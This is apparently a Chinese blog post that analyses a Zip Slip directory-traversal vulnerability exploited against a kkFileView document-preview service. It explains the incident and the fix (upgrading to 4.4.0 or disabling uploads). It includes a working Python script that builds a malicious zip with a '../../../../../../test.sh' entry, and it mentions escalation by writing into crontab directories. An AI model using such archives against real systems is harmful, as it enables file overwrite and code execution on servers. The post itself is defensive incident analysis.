kkfileview文件上传安全漏洞原理分析及解决方案
现象
预览文件时跳转到了其他地方,进入kkfileview容器内,发现里面被上传很多未知的html文件,kkfileview的页面被篡改。
原理
Zip Slip漏洞
Zip Slip是一种常见的目录遍历漏洞,主要影响处理ZIP压缩文件的应用程序。这种漏洞在2018年由Snyk安全团队首次公开披露。
Zip Slip漏洞发生在当应用程序解压ZIP文件时,没有正确验证压缩包内文件的路径。攻击者可以构造一个恶意ZIP文件,其中包含使用"…/"序列的相对路径,导致文件被解压到预期目录之外的位置。
生成一个恶意的zip文件
可以使用以下的python代码生成一个恶意的zip文件
import zipfile
import osdef create_zip_slip_malicious_zip(output_filename="malicious.zip"):"""创建一个包含Zip Slip漏洞利用的恶意zip文件解压后会在相对路径../../../../../下创建test.sh文件"""# 确保输出目录存在os.makedirs(os.path.dirname(output_filename) or ".", exist_ok=True)with zipfile.ZipFile(output_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:# 创建一个恶意路径条目 - 使用相对路径遍历malicious_path = "../../../../../../test.sh"# 添加文件内容到zip中zipf.writestr(malicious_path, "#!/bin/bash\necho 'This is a malicious script!'\n")print(f"恶意zip文件已创建: {output_filename}")print(f"当受害者解压此文件时,test.sh会被写入到../../../../../../目录下")if __name__ == "__main__":create_zip_slip_malicious_zip()
- 运行此脚本将生成一个名为"malicious.zip"的文件
- 当受害者使用不安全的解压程序处理此zip文件时
- test.sh文件会被写入到相对路径…/…/…/…/…/…/下
执行zip中的恶意脚本
这里就是利用了Zip Slip漏洞,上传了一个恶意的zip文件,然后使用预览功能预览这个zip文件,预览时kkfileview解压了该zip文件,导致恶意脚本test.sh被写入了服务器某个目录。
当然如果只是给服务器上传了一个test.sh文件肯定还不够,还得执行它,这里可以上传到crontab的配置文件夹下,间接配置一个定时任务,让系统自动调度执行它,也可以上传到其他地方覆盖某些系统自带的关键脚本。当然具体实现方法就不探讨了,这里只是为了告知攻击原理,便于防范,并不是攻击教程。如果恶意攻击,会触犯《中华人民共和国刑法》
- 第285条(非法侵入计算机信息系统罪)
- 第286条(破坏计算机信息系统罪)
基础情节 3年以下有期徒刑或拘役,严重情节 3-7年有期徒刑
解决方案
目前kkfileview的最新版本4.4.0已经修复了该漏洞,升级版本即可,如果是老版本也可以增加配置file.upload.disable=true,用于屏蔽文件上传功能。
可以的话建议docker部署,我们公司因为docker部署的,所以虽然被黑了但是只是影响了kkfileview容器,没有进一步黑到物理机上,如果在物理机上执行任意脚本后果就比较严重了